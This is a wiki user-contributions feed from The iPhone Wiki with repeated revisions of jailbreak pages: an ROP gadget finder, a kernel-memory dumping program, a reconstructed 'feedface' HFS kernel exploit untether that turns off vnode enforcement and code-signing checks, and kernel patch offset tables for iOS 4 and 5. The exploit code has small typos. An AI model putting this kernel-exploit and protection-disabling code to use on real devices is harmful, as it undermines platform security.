https://www.theiphonewiki.com/w/api.php?action=feedcontributions&feedformat=atom&user=Sjeezpwn
The iPhone Wiki - User contributions [en]
2026-05-01T16:37:55Z
User contributions
MediaWiki 1.31.14
https://www.theiphonewiki.com/w/index.php?title=User:Sjeezpwn&diff=126078
User:Sjeezpwn
2024-03-25T05:49:09Z
<p>Sjeezpwn: </p>
<hr />
<div>I code and do other stuff<br />
Working on a universal jailbreak tool that jailbreaks<br />
and iOS version from IOS 3 to 8, ETA 5 months ??? (9 years later, still not done)</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=ROP&diff=45451
ROP
2015-04-10T15:59:48Z
<p>Sjeezpwn: </p>
<hr />
<div>ROP is a form of exploitation where you search for gadgets in memory (instructions bascially)<br />
and use memory's own code instead of using your code. In evasi0n, this ROP gadget is used<br />
STR R1, [R2];BX LR<br />
So evasi0n looks for that in memory using memmem(), here's the function in planetbeing's <br />
patchfinder.<br />
<br />
int32_t find_str_r1_r2_bx_lr(uint32_t region, uint8_t* kdata, size_t ksize)<br />
{<br />
const uint8_t search[] = {0x11, 0x60, 0x70, 0x47};<br />
void* ptr = memmem(kdata, ksize, search, sizeof(search)) + 1;<br />
if(!ptr)<br />
return 0;<br />
return ((uintptr_t)ptr) - ((uintptr_t)kdata);<br />
}<br />
Once you've figured out all your ROP gadgets thta's your payload and that's how you will <br />
exploit whatever vulnerability you found.</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=ROP&diff=45450
ROP
2015-04-10T15:33:23Z
<p>Sjeezpwn: explained it but need more examples</p>
<hr />
<div>ROP is a form of exploitation where you search for gadgets in memory (instructions bascially)<br />
and use memory's own code instead of using your code. In evasi0n, this ROP gadget is used<br />
STR R1, [R2];BX LR<br />
So evasi0n looks for that in memory using memmem(), here's the function in planetbeing's <br />
patchfinder.<br />
<br />
int32_t find_str_r1_r2_bx_lr(uint32_t region, uint8_t* kdata, size_t ksize)<br />
{<br />
const uint8_t search[] = {0x11, 0x60, 0x70, 0x47};<br />
void* ptr = memmem(kdata, ksize, search, sizeof(search)) + 1;<br />
if(!ptr)<br />
return 0;<br />
<br />
return ((uintptr_t)ptr) - ((uintptr_t)kdata);<br />
}<br />
Once you've figured out all your ROP gadgets thta's your payload and that's how you will <br />
exploit whatever vulnerability you found.</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&diff=45243
Kernel Dumping
2015-03-28T22:28:06Z
<p>Sjeezpwn: </p>
<hr />
<div>Dumping the kernel is a method used to find offsets in the kernel, the reason this works is because since KASLR is added<br />
you have to find the new offsets for each boot, once you have dumped all the kernel memory, you fwrite() everything into<br />
a .bin file, once the kernel is dumped into a file you can use ios-jailbreak-patchfinder to find every offset needed to patch<br />
the kernel.<br />
<br />
== Code to dump the Kernel ==<br />
#include <stdio.h><br />
#include <unistd.h><br />
#include <CoreFoundation/CoreFoundation.h><br />
#include <sys/types.h><br />
#include <sys/sysctl.h><br />
#include <mach/mach.h><br />
mach_port_t kernel_task=0;<br />
int main(int argc, char** argv)<br />
{<br />
kern_return_t r = task_for_pid(mach_task_self(), 0, &kernel_task);<br />
<br />
if( r != 0)<br />
{<br />
printf("task_for_pid returned %x : missing tfp0 kernel patch or wrong entitlements\n", r);<br />
return 0;<br />
}<br />
uint32_t i;<br />
pointer_t buf;<br />
unsigned int sz;<br />
<br />
vm_address_t addr = 0x80002000;<br />
FILE *fp = fopen("kernel.bin", "wb+");<br />
if(!fp) <br />
{<br />
printf("Failed to open kernel.bin\n");<br />
return -1;<br />
}<br />
<br />
while( addr < (0x80002000 + 0x1F000000))<br />
{<br />
vm_read(kernel_task, addr, 2048, &buf, &sz);<br />
if( buf == NULL || sz == 0)<br />
continue;<br />
uint8_t* p = (uint8_t*) buf;<br />
fwrite(p, 2048, 1, fp);<br />
<br />
<br />
<br />
addr += 2048;<br />
}<br />
fclose(fp);<br />
printf("Kernel dump is done\n");<br />
return -1;<br />
}</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&diff=45238
Kernel Dumping
2015-03-28T17:12:35Z
<p>Sjeezpwn: </p>
<hr />
<div>Dumping the kernel is a method used to find offsets in the kernel, the reason this works is because since KASLR is added<br />
you have to find the new offsets for each boot, once you have dumped all the kernel memory, you fwrite() everything into<br />
a .bin file, once the kernel is dumped into a file you can use ios-jailbreak-patchfinder to find every offset needed to patch<br />
the kernel.<br />
<br />
== Code to dump the Kernel ==<br />
#include <stdio.h><br />
#include <unistd.h><br />
#include <CoreFoundation/CoreFoundation.h><br />
#include <sys/types.h><br />
#include <sys/sysctl.h><br />
#include <mach/mach.h><br />
mach_port_t kernel_task=0;<br />
int main(int argc, char** argv)<br />
{<br />
kern_return_t r = task_for_pid(mach_task_self(), 0, &kernel_task);<br />
<br />
if( r != 0)<br />
{<br />
printf("task_for_pid returned %x : missing tfp0 kernel patch or wrong entitlements\n", r);<br />
return 0;<br />
}<br />
uint32_t i;<br />
pointer_t buf;<br />
unsigned int sz;<br />
<br />
vm_address_t addr = 0x80002000;<br />
FILE *fp = fopen("kernel.bin", "wb+");<br />
if(!fp) <br />
{<br />
printf("Failed to open kernel.bin\n");<br />
return -1;<br />
}<br />
<br />
while( addr < (0x80002000 + 0x1F0000))<br />
{<br />
vm_read(kernel_task, addr, 2048, &buf, &sz);<br />
if( buf == NULL || sz == 0)<br />
continue;<br />
uint8_t* p = (uint8_t*) buf;<br />
fwrite(p, 2048, 1, fp);<br />
<br />
<br />
<br />
addr += 2048;<br />
}<br />
fclose(fp);<br />
printf("Kernel dump is done\n");<br />
return -1;<br />
}</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Kernel_Dumping&diff=45237
Kernel Dumping
2015-03-28T17:12:05Z
<p>Sjeezpwn: Created page with "Dumping the kernel is a method used to find offsets in the kernel, the reason this works is because since KASLR is added you have to find the new offsets for each boot, once y..."</p>
<hr />
<div>Dumping the kernel is a method used to find offsets in the kernel, the reason this works is because since KASLR is added<br />
you have to find the new offsets for each boot, once you have dumped all the kernel memory, you fwrite() everything into<br />
a .bin file, once the kernel is dumped into a file you can use ios-jailbreak-patchfinder to find every offset needed to patch<br />
the kernel.<br />
<br />
== Code to dump the Kernel ==<br />
#include <stdio.h><br />
#include <unistd.h><br />
#include <CoreFoundation/CoreFoundation.h><br />
#include <sys/types.h><br />
#include <sys/sysctl.h><br />
#include <mach/mach.h><br />
<br />
mach_port_t kernel_task=0;<br />
<br />
int main(int argc, char** argv)<br />
{<br />
kern_return_t r = task_for_pid(mach_task_self(), 0, &kernel_task);<br />
<br />
if( r != 0)<br />
{<br />
printf("task_for_pid returned %x : missing tfp0 kernel patch or wrong entitlements\n", r);<br />
return 0;<br />
}<br />
uint32_t i;<br />
pointer_t buf;<br />
unsigned int sz;<br />
<br />
vm_address_t addr = 0x80002000;<br />
FILE *fp = fopen("kernel.bin", "wb+");<br />
if(!fp) <br />
{<br />
printf("Failed to open kernel.bin\n");<br />
return -1;<br />
}<br />
<br />
while( addr < (0x80002000 + 0x1F0000))<br />
{<br />
vm_read(kernel_task, addr, 2048, &buf, &sz);<br />
if( buf == NULL || sz == 0)<br />
continue;<br />
uint8_t* p = (uint8_t*) buf;<br />
fwrite(p, 2048, 1, fp);<br />
<br />
<br />
<br />
addr += 2048;<br />
}<br />
fclose(fp);<br />
printf("Kernel dump is done\n");<br />
return -1;<br />
}</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&diff=45235
HFS Legacy Volume Name Stack Buffer Overflow
2015-03-28T14:17:58Z
<p>Sjeezpwn: </p>
<hr />
<div>The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].<br />
<br />
== Exploiting the Kernel Bug ==<br />
<br />
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb<br />
to take control of PC register and do basically whatever you want, in that case, they used a function called<br />
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what<br />
the untether looked like. <br />
<br />
int mnt_our_hfs()<br />
{<br />
struct hfs_mount_args i;<br />
bzero(i, sizeof(i));<br />
i.fspec = (int)"/dev/vn0";<br />
i.hfs_uid = args.hfs_gid = 99;<br />
i.hfs_mask = 0x1C5;<br />
puts("[+]Triggering the kernel exploit");<br />
mount("hfs", "mnt/", MNT_RDONLY, i);<br />
return puts("[+] Payload was successful");<br />
}<br />
<br />
int prep_vn()<br />
{<br />
vn_ioctl vn;<br />
int i = open("/dev/vn0", O_RDONLY, 0);<br />
if(i < 0){<br />
puts("[-]Can't open /dev/vn0");<br />
exit(1);<br />
}<br />
ioctl(i, VNIOCDETACH, &vn);<br />
vn.vn_file = (int)"/usr/lib/hfs_mdb";<br />
vn.vn_control = vncontrol_readwrite_io_e;<br />
if(ioctl(i, VNIOCATTACH, &vn) < 0)<br />
{<br />
puts("[-]Coudn't attach to /dev/vn0")''<br />
close(i);<br />
exit(1);<br />
}<br />
return close(1);<br />
}<br />
<br />
<br />
int main(int argc, char const *argv[])<br />
{<br />
int result;<br />
struct stat i;<br />
uint32_t zero = 0, one = 1;<br />
sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));<br />
sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))<br />
prep_vn();<br />
i.st_uid = 0;<br />
i.st_gid = 0;<br />
i.st_rdev = 0;<br />
i.st_atimespec.tv_nsec = 0;<br />
i.st_atimespec.tv_sec = 0;<br />
i.st_mtimespec.tv_nsec = 0;<br />
i.st_mtimespec.tv_sec = 0;<br />
i.st_ctimespec.tv_sec = 0;<br />
i.st_dev = (dev_t)"/dev/vn0";<br />
i.st_ino = 99;<br />
i.st_uid = 453;<br />
puts("[+]Trigger kernel exploit");<br />
mnt_our_hfs();<br />
sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));<br />
patch_kernel();<br />
<br />
return 0;<br />
}<br />
<br />
== Credit ==<br />
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]<br />
<br />
== Sources for information ==<br />
*[http://www.twitlonger.com/show/8jep67 TwitLonger]<br />
*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])<br />
*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)<br />
<br />
[[Category:Exploits]]</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&diff=45234
HFS Legacy Volume Name Stack Buffer Overflow
2015-03-28T14:17:25Z
<p>Sjeezpwn: </p>
<hr />
<div>The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].<br />
<br />
== Exploiting the Kernel Bug ==<br />
<br />
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb<br />
to take control of PC register and do basically whatever you want, in that case, they used a function called<br />
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what<br />
the untether looked like. <br />
<br />
int mnt_our_hfs()<br />
{<br />
struct hfs_mount_args i;<br />
bzero(i, sizeof(i));<br />
i.fspec = (int)"/dev/vn0";<br />
i.hfs_uid = args.hfs_gid = 99;<br />
i.hfs_mask = 0x1C5;<br />
puts("[+]Triggering the kernel exploit");<br />
mount("hfs", "mnt/", MNT_RDONLY, i);<br />
return puts("[+] Payload was successful");<br />
}<br />
<br />
int prep_vn()<br />
{<br />
vn_ioctl vn;<br />
int i = open("/dev/vn0", O_RDONLY, 0);<br />
if(i < 0){<br />
puts("[-]Can't open /dev/vn0");<br />
exit(1);<br />
}<br />
ioctl(i, VNIOCDETACH, &vn);<br />
vn.vn_file = (int)"/usr/lib/hfs_mdb";<br />
vn.vn_control = vncontrol_readwrite_io_e;<br />
if(ioctl(i, VNIOCATTACH, &vn) < 0)<br />
{<br />
puts("[-]Coudn't attach to /dev/vn0")''<br />
close(i);<br />
exit(1);<br />
}<br />
return close(1);<br />
}<br />
<br />
<br />
int main(int argc, char const *argv[])<br />
{<br />
int result;<br />
struct stat i;<br />
uint32_t zero = 0, one = 1;<br />
sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));<br />
sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))<br />
prep_vn();<br />
i.st_uid = 0;<br />
i.st_gid = 0;<br />
i.st_rdev = 0;<br />
i.st_atimespec.tv_nsec = 0;<br />
i.st_atimespec.tv_sec = 0;<br />
i.st_mtimespec.tv_nsec = 0;<br />
i.st_mtimespec.tv_sec = 0;<br />
i.st_ctimespec.tv_sec = 0;<br />
i.st_dev = (dev_t)"/dev/vn0";<br />
i.st_ino = 99;<br />
i.st_uid = 453;<br />
puts("[+]Trigger kernel exploit");<br />
mnt_our_hfs();<br />
sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));<br />
patch_kernel();<br />
<br />
return 0;<br />
}<br />
<br />
== Credit ==<br />
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]<br />
<br />
== Sources for information ==<br />
*[http://www.twitlonger.com/show/8jep67 TwitLonger]<br />
*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])<br />
*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)<br />
<br />
[[Category:Exploits]]</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&diff=45233
HFS Legacy Volume Name Stack Buffer Overflow
2015-03-28T14:15:51Z
<p>Sjeezpwn: /* Exploiting the Kernel Bug */</p>
<hr />
<div>The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].<br />
<br />
== Exploiting the Kernel Bug ==<br />
<br />
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb<br />
to take control of PC register and do basically whatever you want, in that case, they used a function called<br />
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what<br />
the untether looked like. <br />
<br />
int mnt_our_hfs()<br />
{<br />
struct hfs_mount_args i;<br />
bzero(i, sizeof(i));<br />
i.fspec = (int)"/dev/vn0";<br />
i.hfs_uid = args.hfs_gid = 99;<br />
i.hfs_mask = 0x1C5;<br />
puts("[+]Triggering the kernel exploit");<br />
mount("hfs", "mnt/", MNT_RDONLY, i);<br />
return puts("[+] Payload was successful");<br />
}<br />
<br />
int prep_vn()<br />
{<br />
vn_ioctl vn;<br />
int i = open("/dev/vn0", O_RDONLY, 0);<br />
if(i < 0){<br />
puts("[-]Can't open /dev/vn0");<br />
exit(1);<br />
}<br />
ioctl(i, VNIOCDETACH, &vn);<br />
vn.vn_file = (int)"/usr/lib/hfs_mdb";<br />
vn.vn_control = vncontrol_readwrite_io_e;<br />
if(ioctl(i, VNIOCATTACH, &vn) < 0)<br />
{<br />
puts("[-]Coudn't attach to /dev/vn0")''<br />
close(i);<br />
exit(1);<br />
}<br />
return close(1);<br />
}<br />
<br />
int main(int argc, char const *argv[])<br />
{<br />
int result;<br />
struct stat i;<br />
uint32_t zero = 0, one = 1;<br />
sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));<br />
sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))<br />
prep_vn();<br />
i.st_uid = 0;<br />
i.st_gid = 0;<br />
i.st_rdev = 0;<br />
i.st_atimespec.tv_nsec = 0;<br />
i.st_atimespec.tv_sec = 0;<br />
i.st_mtimespec.tv_nsec = 0;<br />
i.st_mtimespec.tv_sec = 0;<br />
i.st_ctimespec.tv_sec = 0;<br />
i.st_dev = (dev_t)"/dev/vn0";<br />
i.st_ino = 99;<br />
i.st_uid = 453;<br />
puts("[+]Trigger kernel exploit");<br />
mnt_our_hfs();<br />
sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));<br />
patch_kernel();<br />
<br />
return 0;<br />
}<br />
<br />
== Credit ==<br />
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]<br />
<br />
== Sources for information ==<br />
*[http://www.twitlonger.com/show/8jep67 TwitLonger]<br />
*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])<br />
*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)<br />
<br />
[[Category:Exploits]]</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=HFS_Legacy_Volume_Name_Stack_Buffer_Overflow&diff=45232
HFS Legacy Volume Name Stack Buffer Overflow
2015-03-28T14:12:35Z
<p>Sjeezpwn: </p>
<hr />
<div>The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].<br />
<br />
== Exploiting the Kernel Bug ==<br />
<br />
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb<br />
to take control of PC register and do basically whatever you want, in that case, they used a function called<br />
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what<br />
the untether looked like. <br />
<br />
int mnt_our_hfs()<br />
{<br />
struct hfs_mount_args i;<br />
bzero(i, sizeof(i));<br />
i.fspec = (int)"/dev/vn0";<br />
i.hfs_uid = args.hfs_gid = 99;<br />
i.hfs_mask = 0x1C5;<br />
puts("[+]Triggering the kernel exploit");<br />
mount("hfs", "mnt/", MNT_RDONLY, i);<br />
return puts("[+] Payload was successful");<br />
}<br />
<br />
int prep_vn()<br />
{<br />
vn_ioctl vn;<br />
int i = open("/dev/vn0", O_RDONLY, 0);<br />
if(i < 0){<br />
puts("[-]Can't open /dev/vn0");<br />
exit(1);<br />
}<br />
ioctl(i, VNIOCDETACH, &vn);<br />
vn.vn_file = (int)"/usr/lib/hfs_mdb";<br />
vn.vn_control = vncontrol_readwrite_io_e;<br />
if(ioctl(i, VNIOCATTACH, &vn) < 0)<br />
{<br />
puts("[-]Coudn't attach to /dev/vn0")''<br />
close(i);<br />
exit(1);<br />
}<br />
return close(1);<br />
}<br />
int main(int argc, char const *argv[])<br />
{<br />
int result;<br />
struct stat i;<br />
uint32_t zero = 0, one = 1;<br />
sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));<br />
sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))<br />
prep_vn();<br />
i.st_uid = 0;<br />
i.st_gid = 0;<br />
i.st_rdev = 0;<br />
i.st_atimespec.tv_nsec = 0;<br />
i.st_atimespec.tv_sec = 0;<br />
i.st_mtimespec.tv_nsec = 0;<br />
i.st_mtimespec.tv_sec = 0;<br />
i.st_ctimespec.tv_sec = 0;<br />
i.st_dev = (dev_t)"/dev/vn0";<br />
i.st_ino = 99;<br />
i.st_uid = 453;<br />
puts("[+]Trigger kernel exploit");<br />
mnt_our_hfs();<br />
sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));<br />
patch_kernel();<br />
<br />
return 0;<br />
}<br />
== Credit ==<br />
[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]<br />
<br />
== Sources for information ==<br />
*[http://www.twitlonger.com/show/8jep67 TwitLonger]<br />
*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])<br />
*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)<br />
<br />
[[Category:Exploits]]</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Kernel_Patches&diff=45231
Kernel Patches
2015-03-28T02:35:36Z
<p>Sjeezpwn: </p>
<hr />
<div>For the patches applied together with a jailbreak, most groups rely on a list of patches generated by [[comex]]. See https://github.com/comex/datautils0/blob/master/make_kernel_patchfile.c<br />
<br />
See also [[saurik]]'s comment for a list of "the 'best practice' patches that jailbreaks install by default" on [https://news.ycombinator.com/item?id=4128635 ycombinator].<br />
<br />
==Kernel Offsets==<br />
(Initial list copied from [[Unthredera1n]] source code.)<br />
<br />
=== Offsets ===<br />
==== iOS 4.3.4 - 8K2 ====<br />
{| class="wikitable" style="font-size:smaller;"<br />
|-<br />
! Symbol<br />
! [[K48ap|k48ap]]<br />
! [[N18ap|n18ap]]<br />
! [[N81ap|n81ap]]<br />
! [[N88ap|n88ap]]<br />
! [[N90ap|n90ap]]<br />
|-<br />
| KERNEL_AMFI_BINARY_CACHE<br />
| 0x80355394<br />
| 0x80706394<br />
| 0x80618394<br />
| 0x80688394<br />
| 0x80759394<br />
|-<br />
| KERNEL_CS_ENFORCEMENT_DISABLE<br />
| 0x8027EB5C<br />
| 0x8027EB5C<br />
| 0x8027EB5C<br />
| 0x8027EB5C<br />
| 0x8027EB5C<br />
|-<br />
| KERNEL_DEBUG_ENABLED<br />
| 0x802D427C<br />
| 0x802D427C<br />
| 0x802D427C<br />
| 0x802D427C<br />
| 0x802D427C<br />
|-<br />
| KERNEL_FLUSH_DCACHE<br />
| 0x80063504<br />
| 0x80063504<br />
| 0x80063504<br />
| 0x80063504<br />
| 0x80063504<br />
|-<br />
| KERNEL_FLUSH_ICACHE<br />
| 0x800636F4<br />
| 0x800636F4<br />
| 0x800636F4<br />
| 0x800636F4<br />
| 0x800636F4<br />
|-<br />
| KERNEL_IOLOG<br />
| 0x801CBE65<br />
| 0x801CBE65<br />
| 0x801CBE65<br />
| 0x801CBE65<br />
| 0x801CBE65<br />
|-<br />
| KERNEL_NX_ENABLE<br />
| 0x8027F304<br />
| 0x8027F304<br />
| 0x8027F304<br />
| 0x8027F304<br />
| 0x8027F304<br />
|-<br />
| KERNEL_PROC_ENFORCE<br />
| 0x8029C1E4<br />
| 0x8029C1E4<br />
| 0x8029C1E4<br />
| 0x8029C1E4<br />
| 0x8029C1E4<br />
|-<br />
| KERNEL_SANDBOX<br />
| 0x80366CA6<br />
| 0x807EACA6<br />
| 0x80939CA6<br />
| 0x80809CA6<br />
| 0x80966CA6<br />
|-<br />
| KERNEL_SYSCALL0<br />
| 0x802926EC<br />
| 0x802926EC<br />
| 0x802926EC<br />
| 0x802926EC<br />
| 0x802926EC<br />
|-<br />
| KERNEL_SYSCALL0_VALUE<br />
| 0x8018246D<br />
| 0x8018246D<br />
| 0x8018246D<br />
| 0x8018246D<br />
| 0x8018246D<br />
|-<br />
| KERNEL_TASK_FOR_PID<br />
| 0x801A7DF6<br />
| 0x801A7DF6<br />
| 0x801A7DF6<br />
| 0x801A7DF6<br />
| 0x801A7DF6<br />
|-<br />
| KERNEL_VM_MAP_ENTER<br />
| 0x80043FC8<br />
| 0x80043FC8<br />
| 0x80043FC8<br />
| 0x80043FC8<br />
| 0x80043FC8<br />
|-<br />
| KERNEL_VM_MAP_PROTECT<br />
| 0x8004115E<br />
| 0x8004115E<br />
| 0x8004115E<br />
| 0x8004115E<br />
| 0x8004115E<br />
|}<br />
<br />
==== iOS 4.3.5 - 8L1 ====<br />
{| class="wikitable" style="font-size:smaller;"<br />
|-<br />
! Symbol<br />
! [[K48ap|k48ap]]<br />
! [[N18ap|n18ap]]<br />
! [[N81ap|n81ap]]<br />
! [[N88ap|n88ap]]<br />
! [[N90ap|n90ap]]<br />
|-<br />
| KERNEL_AMFI_BINARY_CACHE<br />
| 0x80355394<br />
| 0x80706394<br />
| 0x80618394<br />
| 0x80688394<br />
| 0x80759394<br />
|-<br />
| KERNEL_CS_ENFORCEMENT_DISABLE<br />
| 0x8027EB5C<br />
| 0x8027EB5C<br />
| 0x8027EB5C<br />
| 0x8027EB5C<br />
| 0x8027EB5C<br />
|-<br />
| KERNEL_DEBUG_ENABLED<br />
| 0x802D427C<br />
| 0x802D427C<br />
| 0x802D427C<br />
| 0x802D427C<br />
| 0x802D427C<br />
|-<br />
| KERNEL_FLUSH_DCACHE<br />
| 0x80063504<br />
| 0x80063504<br />
| 0x80063504<br />
| 0x80063504<br />
| 0x80063504<br />
|-<br />
| KERNEL_FLUSH_ICACHE<br />
| 0x800636F4<br />
| 0x800636F4<br />
| 0x800636F4<br />
| 0x800636F4<br />
| 0x800636F4<br />
|-<br />
| KERNEL_IOLOG<br />
| 0x801CBE65<br />
| 0x801CBE65<br />
| 0x801CBE65<br />
| 0x801CBE65<br />
| 0x801CBE65<br />
|-<br />
| KERNEL_NX_ENABLE<br />
| 0x8027F304<br />
| 0x8027F304<br />
| 0x8027F304<br />
| 0x8027F304<br />
| 0x8027F304<br />
|-<br />
| KERNEL_PROC_ENFORCE<br />
| 0x8029C1E4<br />
| 0x8029C1E4<br />
| 0x8029C1E4<br />
| 0x8029C1E4<br />
| 0x8029C1E4<br />
|-<br />
| KERNEL_SANDBOX<br />
| 0x80366CA6<br />
| 0x807EACA6<br />
| 0x80939CA6<br />
| 0x80809CA6<br />
| 0x80966CA6<br />
|-<br />
| KERNEL_SYSCALL0<br />
| 0x802926EC<br />
| 0x802926EC<br />
| 0x802926EC<br />
| 0x802926EC<br />
| 0x802926EC<br />
|-<br />
| KERNEL_SYSCALL0_VALUE<br />
| 0x8018246D<br />
| 0x8018246D<br />
| 0x8018246D<br />
| 0x8018246D<br />
| 0x8018246D<br />
|-<br />
| KERNEL_TASK_FOR_PID<br />
| 0x801A7DF6<br />
| 0x801A7DF6<br />
| 0x801A7DF6<br />
| 0x801A7DF6<br />
| 0x801A7DF6<br />
|-<br />
| KERNEL_VM_MAP_ENTER<br />
| 0x80043FC8<br />
| 0x80043FC8<br />
| 0x80043FC8<br />
| 0x80043FC8<br />
| 0x80043FC8<br />
|-<br />
| KERNEL_VM_MAP_PROTECT<br />
| 0x8004115E<br />
| 0x8004115E<br />
| 0x8004115E<br />
| 0x8004115E<br />
| 0x8004115E<br />
|}<br />
<br />
==== iOS 5.0 - 9A334 ====<br />
{| class="wikitable" style="font-size:smaller;"<br />
|-<br />
! Symbol<br />
! [[K48ap|k48ap]]<br />
! [[N18ap|n18ap]]<br />
! [[N81ap|n81ap]]<br />
! [[N88ap|n88ap]]<br />
! [[N90ap|n90ap]]<br />
! [[N92ap|n92ap]]<br />
|-<br />
| KERNEL_CS_ENFORCEMENT<br />
| 0x80045738<br />
| 0x80045738<br />
| 0x80045738<br />
| 0x80045738<br />
| 0x80045738<br />
| 0x80045738<br />
|-<br />
| KERNEL_FLUSH_DCACHE<br />
| 0x800719C4<br />
| 0x800719C4<br />
| 0x800719C4<br />
| 0x800719C4<br />
| 0x800719C4<br />
| 0x800719C4<br />
|-<br />
| KERNEL_FLUSH_ICACHE<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
|-<br />
| KERNEL_IOLOG<br />
| 0x80203EDD<br />
| 0x80203EDD<br />
| 0x80203EDD<br />
| 0x80203EDD<br />
| 0x80203EDD<br />
| 0x80203EDD<br />
|-<br />
| KERNEL_NX_ENABLE<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
|-<br />
| KERNEL_PE_DEBUGGER<br />
| 0x80241704<br />
| 0x80241700<br />
| 0x80241704<br />
| 0x80241700<br />
| 0x80241704<br />
| 0x80241704<br />
|-<br />
| KERNEL_SYSCALL0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
|-<br />
| KERNEL_SYSCALL0_VALUE<br />
| 0x801B2F79<br />
| 0x801B2F79<br />
| 0x801B2F79<br />
| 0x801B2F79<br />
| 0x801B2F79<br />
| 0x801B2F79<br />
|-<br />
| KERNEL_TASK_FOR_PID0<br />
| 0x801DFAA4<br />
| 0x801DFAA4<br />
| 0x801DFAA4<br />
| 0x801DFAA4<br />
| 0x801DFAA4<br />
| 0x801DFAA4<br />
|-<br />
| KERNEL_VM_ENTER<br />
| 0x800497D4<br />
| 0x800497D4<br />
| 0x800497D4<br />
| 0x800497D4<br />
| 0x800497D4<br />
| 0x800497D4<br />
|}<br />
<br />
==== iOS 5.0.1 - 9A405 ====<br />
{| class="wikitable" style="font-size:smaller;"<br />
|-<br />
! Symbol<br />
